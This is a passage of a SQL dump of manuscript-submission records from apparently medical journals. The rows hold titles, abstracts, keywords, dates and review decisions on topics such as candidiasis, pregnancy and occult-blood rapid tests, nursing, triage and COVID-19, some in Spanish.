control.\r\n','',788,NULL,'2022-11-25',NULL,'Submitted',2,NULL,'2022-12-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13205,13410,251,0,'ipacm-22-13205','Candidiasis: Host Immune Response',NULL,5,0,'','This transition is heavily reliant on an impressive repertoire of virulence factors, most notably cell surface adhesins, proteolytic enzymes, morphologic switching, and the development of drug resistance. In the oral cavity, the co-adhesion of C. albicans with bacteria is crucial for its persistence, and a wide range of synergistic interactions with various oral species were described to enhance colonization in the host. As a frequent colonizer of the oral mucosa, the host immune response in the oral cavity is oriented toward a more tolerogenic state and, therefore, local innate immune defenses play a central role in maintaining Candida in its commensal state. Specifically, in addition to preventing Candida adherence to epithelial cells, saliva is enriched with anti-candida peptides, considered to be part of the host innate immunity. The T helper 17 (Th17)-type adaptive immune response is mainly involved in mucosal host defenses, controlling initial growth of Candida and inhibiting subsequent tissue invasion. Animal models, most notably the mouse model of oropharyngeal candidiasis and the rat model of denture stomatitis, are instrumental in our understanding of Candida virulence factors and the factors leading to host susceptibility to infections.','Candida albicans; immune response',5414,NULL,'2022-11-25',NULL,'Submitted',2,NULL,'2022-12-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13206,13031,45,0,'iphsj-22-13206','Clinical Application of High Accuracy hCG Pregnancy Rapid Test Cassette (Urine) in Gynecology',NULL,14,0,' ','Background\r\nHuman chorionic gonadotropin (hCG) is a glycoprotein hormone that is essential for the maintenance of pregnancy. Glycosylation of hCG is known to be essential for its biological activity. “Hyperglycosylated” variants secreted during early pregnancy have been proposed to be involved in initial implantation of the embryo and as a potential diagnostic marker for gestational diseases.[1] Therefore, the hCG Pregnancy Rapid Test Cassette (Urine) can detect the gestational diseases during early pregnancy which plays an important role in gynecology.\r\n\r\nHuman chorionic gonadotropin (hCG) is an essential pregnancy-associated glycoprotein that is a member of the same family that includes luteinizing hormone, follicle stimulating hormone and thyroid stimulating hormone. Each member is a heterodimer consisting of shared ?-subunits in non-covalent association with distinct ?-subunits that confer their specific physiological activities. Pregnancy associated hCG is mainly secreted by the syncytiotrophoblast (ST) associated with the embryo and is excreted in urine.\r\n\r\nhCG levels in maternal blood increase progressively during early pregnancy, reaching maximal levels between the 8-11th week of gestation. Thereafter, the level of hCG declines until around twenty weeks and then remains comparatively low for the remainder of the pregnancy. The functional roles of hCG throughout pregnancy have been extensively studied and are thought to be necessary for the maintenance of pregnancy by mediating multiple placental, uterine and fetal functions. hCG may play a part in implantation through its receptors on the endometrium and is thought to aid smooth muscle relaxation, maintain quiescence of the myometrium in pregnancy and promote myometrial vasodilatation. hCG induces relaxin secretion by the corpus luteum during the luteal phase and in early pregnancy. Both relaxin and progesterone play an important role in the maintenance of early pregnancy. hCG may also contribute to maternal immune tolerance but as pregnancy progresses into the second and third trimester, the role of this hormone becomes less apparent. hCG is also expressed in several trophoblastic diseases and is often used as a sensitive biomarker for malignancy. This hormone is expressed in both gonadal and non-gonadal tumors.\r\n\r\nObjective\r\nThe main purpose of this evaluation report was to explore the reliability and performance of the Citest hCG pregnancy Rapid Test Cassette for the qualitative detection of human chorionic gonadotropin in urine to aid in the early detection of pregnancy.\r\n\r\nMethod\r\nRun a combination of monoclonal and polyclonal antibodies to selectively detect elevated levels of hCG in urine.\r\n\r\n\r\nResult\r\nThe results show that the overall relative sensitivity for the detection of the Citest hCG Pregnancy Rapid Test Cassette (Urine) is ?99.9% (98.7%~100%), the relative specificity is ?99.9% (99.2%~100%), and the relative accuracy is ?99.9% (99.5%~100%).  \r\n\r\nConclusion\r\nThe Citest hCG Pregnancy Rapid Test Cassette (Urine) is a rapid chromatographic immunoassay for the qualitative detection of human chorionic gonadotropin in urine to aid in the early detection of pregnancy.\r\n\r\nThe product is simple to operate, and results can be read within 3 minutes of the sample being tested. A comparison of 608 samples showed an accuracy of 99.9% and an excellent specificity of 99.9%. Women can use this test kit to obtain accurate results and to determine whether they are pregnant or not in an early time.','hCG, early pregnancy, rapid test',643,NULL,'2022-11-25',NULL,'Submitted',2,NULL,'2022-12-09',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13207,13031,45,0,'iphsj-22-13207','High Accuracy FOB Rapid Test Cassette Plays an Important Role in the Diagnosis of Colorectal Cancer',NULL,14,0,'','Background\r\nThe FOB Rapid Test Cassette (Feces) is a rapid chromatographic immunoassay for the qualitative detection of Human Occult Blood in feces. It plays an important role in the preliminary diagnosis of Colorectal Cancer. \r\n\r\nIn 2020, colorectal cancer was the third most common cancer and cancer-related death in the United States [1]. Many new treatment methods have been developed and their use in combination with advances in diagnostic methods has led to improvement in treatment results.[1] Therefore, FOB Rapid Test Cassette has an important effect in early diagnosis of Colorectal Cancer. Before accessing medical treatment in the hospital, patients can use FOB Rapid Test Cassette to detect colorectal cancer so that it can be detected and treated early.\r\nMany factors may cause colorectal cancer. Obesity is an established risk factor for colorectal cancer development and is invariably characterized by dysregulated metabolism, such as insulin resistance, hyperinsulinemia, hyperglycemia, and Type 2 diabetes[2]. To analyze the factors that cause colorectal cancer, there are methods to help prevent colon cancer at its root.\r\n\r\nObjective\r\nTo evaluate the significance of the CITEST FOB Rapid Test Cassette in early diagnosis of colorectal cancer.\r\n\r\nMethod\r\nRun a qualitative, lateral flow immunoassay for the detection of Human Occult Blood in feces and compare with a leading commercial FOB test using clinical specimens for validation of performance.\r\nResults\r\nThe compared test results show that the overall relative sensitivity of CITEST FOB Rapid Test Cassette is 95%, relative specificity is 99.5% and accuracy is 98.6%. \r\n\r\nConclusion\r\nIn conclusion, the CITEST FOB Rapid Test Cassette has high sensitivity, high specificity and high accuracy which plays an important role in early diagnosis of colorectal cancer.\r\nThis product is easy to operate and gives results within 5 minutes. Patients can use this test for earlier detection of colorectal cancer.','Colorectal Cancer, FOB Rapid Test Cassette, chromatographic immunoassay',643,NULL,'2022-11-25',NULL,'Submitted',2,NULL,'2022-12-09',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13208,13411,45,0,'iphsj-22-13208','Assessment of the intrinsic determinants of Nurses’ job satisfaction in Borno state, Nigeria',NULL,14,0,'','Background:\r\nJob satisfaction is an essential driver of workforce productivity, especially in the nursing profession. As such, unfavourable work conditions could result in a shortage and poor work output of employees. \r\nObjectives: \r\nThis study sought to investigate the influence of intrinsic factors on job satisfaction among nurses working in selected government hospitals in Borno State, Nigeria.\r\nMaterials and methods:\r\nThis quantitative descriptive cross-sectional design randomly (stratified) selected 399 participants (nurses) from a population of 695 nurses. A revised Nursing Work Index (NWI- R) questionnaire was adopted to collate data related to the job satisfaction of nurses. Data were analysed using Statistical Package for Social Science Version 23.0\r\n\r\nResults: Of all the participants, 214 (61.8%) were females, the age range of 21 -25 years 191 (47.9%) and those unmarried (single), 265 (66.4%) were the most frequent categories of nurses. The overall satisfaction for motivation (mean±standard deviation) was 74.66±10.53. The levels of employees\' job satisfaction (lowest-highest total agreement [%]) in relation to work itself (68.9- 94.7%), achievement (80.5-86.7%), recognition (67.2-83.5%), possibility (75.7-79.2%) and advancement (87.7-91.5%) were moderate-high and high, respectively. Also, their productivity was evaluated as high. Sex, working experience, working hours and qualification of nurses were all significantly associated with high motivation for the job (p<0.05).\r\nConclusion: Findings from this survey infer that the nurses were relatively good job satisfaction in General Hospitals in Borno state. There was a positive relationship between job satisfaction and the productivity of the nurses. \r\n','Job satisfaction, Healthcare services, Nursing services, Productivity, Nurses workforces, Nigeria ',4076,NULL,'2022-11-25',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13209,13412,251,0,'ipacm-22-13209','Primary And Secondary Bacterial infection',NULL,5,0,'','The principal modes of transmission of bacterial infection are contact, airborne, droplet, vectors, and vehicular. Preventive measures have a dramatic impact on morbidity and mortality. Such measures include water treatment, immunization of animals and humans, personal hygiene measures, and safer sex practices. Bacterial resistance to antibiotics is a growing concern mandating their prudent use.\r\nBacteria are unique among the prokaryotes in that so many of them are normal flora that colonizes the host without causing infection. Once a person is infected, clinically apparent disease may or may not be seen, and only in a small subset of infections do we see clinically significant disease. Bacterial infections can be transmitted by a variety of mechanisms. In order to be spread, a sufficient number of organisms must survive in the environment and reach a susceptible host. Many bacteria have adapted to survive in water, soil, food, and elsewhere. Some infect vectors such as animals or insects before being transmitted to another human.\r\n',' ',780,NULL,'2022-11-26',NULL,'Submitted',2,NULL,'2022-12-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13210,13262,251,0,'ipacm-22-13210','Symptoms Types of Fungal Infection',NULL,5,0,'','Fungi are mainly opportunistic pathogens that only invade the body if a severely weakened natural defense permits them to do so. Most factors facilitating an invasive fungal infection are unavoidable because they are directly connected to the underlying diseases as well as to their treatment. Aspergillosis is a disease caused by Aspergillus, a common mold (a type of fungus) that lives indoors and outdoors. Most people breathe in Aspergillus spores every day without getting sick. However, people with weakened immune systems or lung diseases are at a higher risk of developing health problems due to Aspergillus. There are different types of aspergillosis. Some types are mild, but some of them are very serious.','',782,NULL,'2022-11-26',NULL,'Submitted',2,NULL,'2022-12-01',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13211,13413,971,0,'ipaclr-22-13211','A Health System Prioritizing the Urgency of COVID-19 Patients ',NULL,13,0,'','The COVID-19 pandemic has a disproportionately negative impact on the daily lives of marginalized people. Because of their unique social and health care needs, people with substance use disorders are a particularly vulnerable population. They will suffer significant harm as a result of both the pandemic and its social and economic consequences, such as marginalization in health care and social systems.','',5381,NULL,'2022-11-28',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1','Accept without Changes',0,'','',NULL,0,0,0,NULL,0),(13212,13415,971,0,'ipaclr-22-13212','Hypertension Management: Cardiology Procedures',NULL,13,0,'','Even though the COVID infection 2019 (COVID-19) pandemic has the attention of the entire world, it is crucial to remain aware of other extremely dangerous situations that have not abated at this time. Such concerns include the prevalence of cardiovascular infections worldwide, with hypertension at the top of the list. Additionally, although uncontrolled hypertension per se has not been confirmed as a free indicator of serious complications or death from COVID-19, it causes heart and kidney infections as well as stroke, all of which are highly avoidable conditions that increase vulnerability to health risks, including COVID-19.','',3761,NULL,'2022-11-28',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1','Accept without Changes',0,'','',NULL,0,0,0,NULL,0),(13213,13416,45,0,'iphsj-22-13213','Knowledge and skills of the medical and nursing staff of Emergency Department in triage. Comparative study between public and private hospitals in Athens.',NULL,14,0,'','ABSTRACT \r\nIntroduction: The triage process, carried out in the Emergency Department (ED), is the basic tool for determining the severity of each patient that comes to it. Its implementation is aimed at redistributing resources, reducing waiting time, as well as reducing import rates. For this reason, the acquisition of the knowledge and skills of the health personnel of the EDs in triage and their utilization is considered a necessary condition. \r\nPurpose: The purpose of this study is to investigate the knowledge and skills of the medical and nursing staff of EDs in triage in public and private hospitals of Athens.\r\nMaterials and Methods: This is an analytical cross-sectional study conducted in 6 tertiary hospitals (3 public and 3 private) of Athens during the period October 2021 - March 2022. The sample of the study was the medical and nursing staff of the ED of each participating hospital. The data collection was carried out with a specially designed self-completed questionnaire.\r\nResults: Of the 147 participants, 87 (59.2%) worked in a public hospital and 60 (40.8%) in a private hospital; 64 (43.5%) were physicians and 83 (56, 5%) were nurses/nursing assistants. Of the total study participants, only 46 (31.3%) had attended a seminar in triage, while the majority (98.6%) indicated that the training of medical and nursing staff of EDs on triage should be mandatory. The level of knowledge and skills proved to be moderate in both health service providers. In addition, in terms of triage knowledge, educational level (p=0.001) and years of service (p=0.009) appeared to have an impact, with public sector participants having a relatively higher percentage than private sector participants (0.003). Finally, the triage process is not carried out as much as it should be by law, and the most common model used seems to be that of traffic settlement (20.5%). Most EDs do not use a triage scale, while in EDs that have a triage scale, the most frequently used is the Emergency Severity Index (ESI) (12,6%).\r\nConclusions: After analyzing the results of the research, it is found that the level of knowledge and skills of the medical and nursing ED staff public and private hospitals is insufficient, as far as the triage process is concerned. It is considered necessary to institutionalize it, as well as additional training in Emergency Medicine and Nursing with the aim of improving the care services provided in our country\'s E.Ds.\r\n','Key words: Emergency Department; triage; knowledge, medical and nursing staff; emergency medicine; patient satisfaction',4660,NULL,'2022-11-29',NULL,'Submitted',2,NULL,'2023-02-08',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13214,13414,73,0,'ipjnn-22-13214','Complications of Cranioplasty: Trying Not to Harm',NULL,25,1,'Overview of Nervous System Disorders','','',5353,NULL,'2022-11-29',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13215,13417,91,0,'ijddr-22-13215','A REVIEW ON SUSTAINED RELEASE MATRIX TABLET OF ANTIHYPERTENSIVE DRUG',NULL,5,0,'','Now, the daily pharmaceutical industry is focused on developing common oral dosage forms as it becomes an essential medical tool. This continuous-release formulation does design to release the drug at a predetermined rate and to keep the plasma drug overflow in a medical window with minimal side effects. The basic idea behind continuous drug delivery is to change the drug\'s biopharmaceutical, pharmacokinetic, and pharmacodynamics to reduce side effects, provide patient compliance, and treat the disease. Continued discontinuation of drug delivery improved patient compliance due to frequent drug administration, decreased flexibility in consistent drug levels, higher drug use, increased dosage of effective drug dosage, and reduced health care costs with improved treatment and shorter treatment duration. The main goal of the continuous-release forms is the development of drug treatment that has tested the relationship between the benefits and disadvantages of using a constant-release system. This review article contained basic information on the matrix type of the ongoing drug delivery system. Nowadays, there are very few drugs out of research and development, and existing drugs have a problem with resistance due to their unreasonable use, especially in the case of drugs such as antibiotics. Therefore, the mutation is an effective and efficient way to make a particular medication more effective with a slight change in drug delivery. Continuous extraction also provides a promising way to reduce the side effects of the drug by preventing fluctuations in the drug\'s therapeutic effect on the body. Drug administration through such a system involves controlled dispersal and distribution methods. If not correctly formulated, many medications can release the drug very quickly and may produce the drug\'s toxic effects orally. This article carries basic information about the structure of the release version and various similar types.','Sustained release, Matrix tablet, Oral drug delivery system, Antihypertensive drugs.',1325,NULL,'2022-11-29',NULL,'Submitted',2,NULL,'2022-12-02',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13216,13418,277,0,'ipadm-22-13216','El momento de la recolección de saliva tiene un impacto en la detección de la infección por SARS-CoV-2?',NULL,5,0,'','La enfermedad Covid 2019 (COVID-19) fue causada por el virus respiratorio grave y extremadamente virulento Covid 2 (SARS-CoV-2), y ocurrió en Wuhan, China, en diciembre de 2019. El SARS-CoV-2 es extremadamente contagioso y todavía se está extendiendo por todo el mundo. Los hisopos de la nasofaringe son los principales métodos de inspección utilizados para detectar el SARS-CoV-2. Sin embargo, la inspección con hisopos es intrusiva y presenta un riesgo de contaminación para los trabajadores de la salud. Los expertos dicen que la saliva recolectada aproximadamente 9 días después del inicio de un efecto secundario es una ilustración útil de la conclusión subatómica de COVID-19. El Ministerio de Salud, Trabajo y Bienestar de Japón aprobó las pruebas de PCR utilizando muestras de saliva recolectadas aproximadamente 9 días después del inicio de un efecto secundario. ','',5119,NULL,'2022-11-30',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1','Accept it without any changes.',0,'','',NULL,0,0,0,NULL,0),(13217,13419,326,0,'IPJUS-22-13217','Pediatric surgery: Methods and Types of Pediatric surgery',NULL,5,0,'','Simple hepatic cyst is a rare disease in childhood. They occur in the general population with a prevalence of up to 5%. The incidence and size of cysts increase dramatically in adults older than 50 years. We performed a systematic literature review of all cases of simple hepatic cysts in the pediatric population undergoing surgical treatment. We found 52 cases reported in literature with a mean age of 2.54 years, 15% were pedicled cysts and only one case reported intracystic bleeding, detected only in the anatomopathological examination. We report a case of a 13-year-old girl who was presented with a symptomatic giant solitary bile cyst, the second biggest simple hepatic cyst reported in pediatric population, the biggest pedicled cyst and the only case of intracystic bleeding detected in pre-operative image examination in this group. This case brings important considerations about this complication and its pre-operative diagnosis.\r\nSurgery of children has been practiced since times immemorial. It is, however, only after the Second World War that it was recognized as an independent identity in the USA and United Kingdom. The rapid strides the specialty made in the west during the last six decades is, therefore, astonishing. It has been likened to the evolution of an oak tree from an acorn, growing from humble beginnings to a well-recognized surgical specialty. Pediatric surgery as a specialty is about 45 years old in India. In the fifties of the last century, there were only three general surgeons who confined their work exclusively to pediatric surgery. They were Prof. U.C. Chakraborty at Calcutta Medical College, Dr. Raman Nair at Trivandrum Medical College, and Prof. D. Anjaneyulu at Niloufer Hospital affiliated to Osmania Medical College at Hyderabad.\r\nThe fifties were also the years of beginning of my own surgical career. Having graduated from Medical College, Amritsar, I was lucky to be appointed a Surgical Registrar to the then doyen of Surgery Prof. S.S. Anand at Medical College Hospital, Amritsar, in the mid-fifties. Children\'s surgery at that point of time was chiefly confined to herniotomy, suprapubic lithotomy, appendectomy and drainage of empyema. Most of the general surgeons in those days were not interested or indifferent to the management of severe congenital anomalies. At Amritsar, in the mid-fifties, babies suffering from esophageal atresia, abdominal wall defects and other severe congenital anomalies were usually sent home without surgical treatment for lack of expertise. I believe most of the other Medical Institutes had similar practice at that time. It is not surprising, therefore, that many young surgeons in the late fifties and early sixties went abroad for higher training in pediatric surgery as there were no such training centers in the country. I was fortunate to get a Colombo Plan Scholarship for higher training at Hospital for Sick Children, Great Ormond Street, London, in 1962.\r\n','',3103,NULL,'2022-11-30',NULL,'Submitted',2,NULL,'2022-12-05',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13218,13420,326,0,'IPJUS-22-13218','Types of Hysterectomy Surgery and Risk factors',NULL,5,0,'','Hysterectomy is one of the most frequently performed surgical procedures in the United States. Selection of the route of hysterectomy for benign causes can be influenced by the size and shape of the vagina and uterus; accessibility to the uterus; extent of extrauterine disease; the need for concurrent procedures; surgeon training and experience; average case volume; available hospital technology, devices, and support; whether the case is emergent or scheduled; and preference of the informed patient. Vaginal and laparoscopic procedures are considered “minimally invasive” surgical approaches because they do not require a large abdominal incision and, thus, typically are associated with shortened hospitalization and postoperative recovery times compared with open abdominal hysterectomy. Minimally invasive approaches to hysterectomy should be performed, whenever feasible, based on their well-documented advantages over abdominal hysterectomy. The vaginal approach is preferred among the minimally invasive approaches. Laparoscopic hysterectomy is a preferable alternative to open abdominal hysterectomy for those patients in whom a vaginal hysterectomy is not indicated or feasible. Hysterectomy is the surgical removal of the uterus. It may also involve removal of the cervix, ovaries (oophorectomy), Fallopian tubes (salpingectomy), and other surrounding structures.\r\nUsually performed by a gynecologist, a hysterectomy may be total (removing the body, fundus, and cervix of the uterus; often called \"complete\") or partial (removal of the uterine body while leaving the cervix intact; also called \"supracervical\"). Removal of the uterus renders the patient unable to bear children (as does removal of ovaries and fallopian tubes) and has surgical risks as well as long-term effects, so the surgery is normally recommended only when other treatment options are not available or have failed.\r\n',' ',3103,NULL,'2022-11-30',NULL,'Submitted',2,NULL,'2022-12-05',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13219,13421,971,0,NULL,'Influencia de la infección por el virus Corona en las infecciones adquiridas en los hospitals',NULL,12,0,'','Aunque existen pautas claramente definidas y convincentes para evitar infecciones asociadas a la atención médica (HAI), el impacto de la pandemia de COVID-19 en las prácticas y enfoques seguidos no se ha investigado completamente. Este estudio examina el impacto de COVID-19 en las tasas de HAI en dos clínicas que brindan atención médica similar. Durante la pandemia de COVID-19, las IRAS en su conjunto aumentaron, lo que se asoció con el uso de más tiempo y horas de oficina de enfermería.','',4710,NULL,'2022-11-30',NULL,'Submitted',4,NULL,'2022-11-30',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13220,13423,277,0,'ipadm-22-13220','Influence of Corona Virus Infection on Infections Acquired in Hospitals',NULL,5,0,'','Aunque existen pautas claramente definidas y convincentes para evitar infecciones asociadas a la atención médica (HAI), el impacto de la pandemia de COVID-19 en las prácticas y enfoques seguidos no se ha investigado completamente. Este estudio examina el impacto de COVID-19 en las tasas de HAI en dos clínicas que brindan atención médica similar. Durante la pandemia de COVID-19, las IRAS en su conjunto aumentaron, lo que se asoció con el uso de más tiempo y horas de oficina de enfermería.','',5119,NULL,'2022-11-30',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1','Accept it without any changes.',0,'','',NULL,0,0,0,NULL,0),(13221,13031,45,0,'iphsj-22-13221','Significance of SARS-CoV-2 and Influenza A+B Antigen Combo Rapid Test for Distinguishing Influenza from COVID-19',NULL,14,0,'','Both seasonal influenza viruses (including influenza A and B viruses) and COVID-19 are infectious viruses that cause respiratory illness.\r\n\r\nAccording to the Centers for Disease Control (CDC), typical flu symptoms include fever, cough, sore throat, muscle aches, headache, runny or stuffy nose, fatigue, and sometimes even vomiting and diarrhea[1]. Flu symptoms usually appear suddenly. Most people who get the flu recover within two weeks. But in some people, the flu can cause complications, such as pneumonia. So far this flu season, about 1 percent of Americans have developed symptoms severe enough to require hospitalization, similar to the previous season\'s incidence.\r\n\r\nFor COVID-19, the 38th WHO regulatory update on COVID-19 mentions that more than 220 million confirmed cases and 4.5 million deaths of COVID-19 have been reported to WHO globally. The situation varies from region to region. Some regions and countries continue to see dramatic increases in the number of cases and deaths, while others are declining.\r\n\r\nVaccinations, physical proximity, hand washing, avoiding crowded and enclosed spaces, and wearing masks are all \"anti-blockade measures\": they can prevent the spread of disease without having to shut down large parts of society.\r\n.\r\n\r\nThe WHO has said it is important to note that it is difficult to distinguish between different respiratory viruses based on symptoms alone because respiratory viruses can cause similar symptoms. However, the treatment options for COVID-19 and influenza viruses are very different. To differentiate and facilitate follow-up treatment to treat the symptoms, the rapid antigen test product can be used to obtain a relatively accurate result in a few minutes with a simple operation that can be used for initial screening purposes. This report evaluated the performance of the AllTest SARS-CoV-2 and Influenza A+B Antigen Combo Rapid Test (Nasal Swab) and discuss the importance of differentiating COVID-19 from influenza.','Influenza, SARS-CoV-2, antigen test, nasal swab',4076,NULL,'2022-11-30',NULL,'Submitted',2,NULL,'2022-12-14',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13222,13424,277,0,'ipadm-22-13222','Seguridad, eficacia y fundamentos moleculares de la supervisión farmacológica de la galactosidasa humana',NULL,5,0,'','Los pacientes con enfermedad de Fabry muestran una reducción en la actividad del catalizador lisosomal -galactosidasa (-GAL o -Gal A). La terapia farmacológica con chaperonas es una opción para tratar la infección de Fabry. En este método, un átomo diminuto equilibra la proteína -GAL para promover una mayor actividad enzimática. Demostramos la estabilización de la glicoproteína -GAL humana por las chaperonas farmacológicas 1-desoxigalactonojirimicina (DGJ) y galactosa utilizando energía proteica, fluorescencia de triptófano, dicroísmo circular y medidas de proteólisis. La explicación subatómica de la mayor fuerza de DGJ sobre la galactosa tiene sentido por los diseños de gemas de los edificios de -GAL y chaperonas. Demostramos la mayor intensidad de los resultados de DGJ de una comunicación iónica con D170 usando mutagénesis coordinada en el sitio. Sugerimos que la protonación de D170 en condiciones ácidas da como resultado una restricción de DGJ más delicada. Los hallazgos proporcionan una justificación bioquímica para la terapia con chaperonas farmacéuticas que es aplicable a otras enfermedades de plegamiento incorrecto de proteínas.','',2805,NULL,'2022-11-30',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1','Accept it without any changes.',0,'','',NULL,0,0,0,NULL,0),(13223,13426,277,0,'ipadm-22-13223','Supervisión estrecha del efecto del virus de la hepatitis B en los resultados científicos de los pacientes',NULL,5,0,'','La presencia de ADN del VHB con capacidad de replicación en el hígado o posiblemente ADN del VHB en la sangre de personas que dan negativo para el antígeno de superficie de la hepatitis B mediante los métodos actualmente disponibles se conoce como enfermedad misteriosa del VHB.','',4680,NULL,'2022-11-30',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1','Accept it without any changes.',0,'','',NULL,0,0,0,NULL,0),(13224,13427,277,0,'ipadm-22-13224','Distinguir la toxemia de la exposición al COVID-19 en el embarazo',NULL,5,0,'','Nunca ha sido fácil distinguir el envenenamiento de la sangre de los imitadores clínicos durante el embarazo, como la enfermedad del hígado graso, el lupus, la hipertensión constante y la infección renal. Según informes recientes, la contaminación por COVID-19 es otro imitador de la preeclampsia. Hicimos un esfuerzo para identificar elementos fenotípicos clínicos que podrían ayudar a distinguir el COVID-19 de la preeclampsia basándonos únicamente en consideraciones clínicas.','',5119,NULL,'2022-11-30',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1','Accept it without any changes.',0,'','',NULL,0,0,0,NULL,0),(13228,13434,667,0,'iptb-22-13228','Power of Medical History: American Reactions to Biomedicine',NULL,25,0,'','The notion that medical history can and should serve modern medicine as a humanizing force has been a recurring theme in American medicine from the end of the 19th century to the present. This research investigates the origin of this notion at precisely the time when contemporary Western biomedicine became dominant, with a focus on the United States. Some professional leaders started to warn that the same adherence to science that was fueling professional technical and cultural success was also endangering humanistic values that were essential to professionalism, the art of medicine, and cultural cohesion in the same institutions where the new version of scientific medicine was most enthusiastically embraced. They recognised in history a way to re-humanize contemporary medicine and forestall the threat of a cultural upheaval.','Medical History, Medical Humanities, Medical Humanization, Medical de- humanization, Medical Professionalism',3322,NULL,'2022-12-01',NULL,'Submitted',2,NULL,'2022-12-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13229,13435,91,0,'ijddr-22-13229','Development of Nanoformulations for Targeted Transport of CNS Drugs with Greater Pharmacological Activity via the Nose into the Brain',NULL,5,0,'','The purpose of the paper is actively exploring the feasibility of using nanocarriers in the brain to treat various neurological disorders. These include Parkinson’s disease, schizophrenia, epilepsy, Alzheimer’s disease, brain cancer, multiple sclerosis, depression, cerebral ischemia, and cerebral malaria. Among the various approaches available, nose-to-brain drug targeting remains the most acceptable but difficult challenge due to the complex structure and multiple barriers presented by the CNS. The various nanoformulations including microemulsions, nanoemulsions, polymeric nanoparticles, micelles, solid lipid nanoparticles (SLNs), liposomes, and transferosomes are currently used for their advanced delivery approaches. The nanoformulations are capable of performing the desired functions of the advanced delivery and targeting approaches, i.e., enhancing nasal-to-brain delivery and penetration of the drug across the blood–brain barrier (BBB). These formulations are safe, stable, and capable of improving bioavailability and biocompatibility. These nanocarriers offer numerous advantages over conventional drug delivery systems, such as improved targeting and high drug loading capacity. Researchers and scientists worldwide are working tirelessly in various areas of CNS disorders with or without nanoformulations, and it is still an area that needs to be explored. This review focuses on the major approaches of brain targeting, including efficient delivery of the drug across the blood–brain barrier as well as navigation of the nanoformulation to the desired brain site in conjunction with the global prevalence of certain neurological diseases in the current situation.','',2474,NULL,'2022-12-02',NULL,'Submitted',2,NULL,'2022-12-14',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13243,13446,277,0,'ipadm-22-13243','Control de la hipertensión: prácticas de cardiología',NULL,5,0,'','Si bien la pandemia de la infección por COVID 2019 (COVID-19) tiene la atención de todo el mundo, es crucial mantenerse al tanto de otras situaciones extremadamente peligrosas que no han disminuido en este momento. Tales preocupaciones incluyen la prevalencia de infecciones cardiovasculares en todo el mundo, con la hipertensión en la parte superior de la lista. Además, aunque la hipertensión no controlada per se no se ha confirmado como un indicador libre de complicaciones graves o muerte por COVID-19, causa infecciones cardíacas y renales, así como accidentes cerebrovasculares, todas condiciones altamente evitables que aumentan la vulnerabilidad a los riesgos para la salud. incluido el COVID-19.','',5350,NULL,'2022-12-03',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13244,13447,277,0,'ipadm-22-13244','Perfil de respuesta inmune Hla en el desarrollo de recién llegados en lista de espera para transferencia renal no se ve afectado por el coronavirus',NULL,5,0,'','Después de la exposición a la sangre, el embarazo y el tejido reubicado, con frecuencia se liberan anticuerpos HLA. El afilado retrasa la admisión de trasplantes e impide el uso de órganos de donantes. El desarrollo de la respuesta inmunitaria HLA también se ha relacionado con enfermedades y vacunas. Se desconoce si los pacientes desarrollan anticuerpos HLA después de haber estado expuestos al SARS-CoV-2. Aquí, examinamos el curso de 18 candidatos a trasplante de riñón que tenían una enfermedad sugestiva de COVID-19 pero que luego se recuperaron. En esta serie subyacente, ningún paciente produjo anticuerpos HLA adicionales. De manera significativa, en cuatro pacientes profundamente afilados con un CPRA > 80 %, no hubo un aumento en los anticuerpos HLA previos. Esta información básica sugiere que, para los pacientes recuperados de COVID-19, es posible que no sea necesario repetir la prueba del agente que contrarresta el HLA o realizar una prueba cruzada física en el suero de confirmación antes de la reubicación del riñón. Numerosos pacientes con diversos antecedentes socioeconómicos deben proporcionar información.','',5119,NULL,'2022-12-03',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13246,13450,86,0,'ipaom-22-13246','Analysis of viral metagenomes in stool samples from Qatari children with untreated gastroenteritis',NULL,25,0,'','All over the world, acute gastroenteritis is a major health issue, particularly for children living in developing nations. Diarrhea is the fourth leading cause of child mortality, following intrapartum diseases, lower respiratory infections, and complications associated with preterm birth. Viruses like rotavirus, norovirus, adenovirus, and astrovirus typically cause diarrhea in children. Around the world, rotavirus infections are still a major cause of diarrhea-related death in children under the age of five. In developed nations, rotavirus vaccines already save lives, but in developing nations, they are less effective due to higher rates of early rotavirus infection transmission and inadequate vaccination coverage or accessibility. Additionally, bacteria such as Campylobacter spp. and parasites such as Cryptosporidium spp. and Giardia lamblia, AGE is primarily caused by Clostridium difficile and other bacteria.','Gastroenteritis, Metagenomes',3326,NULL,'2022-12-05',NULL,'Submitted',2,NULL,'2022-12-08',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13247,13451,85,0,'iphspr-22-13247','Public health ethics and risk communication in a pandemic by Health Policy',NULL,5,0,'','Risk reduction during emergencies and epidemics depends on effectively communicating public health advice, and ethical communication advice places a strong 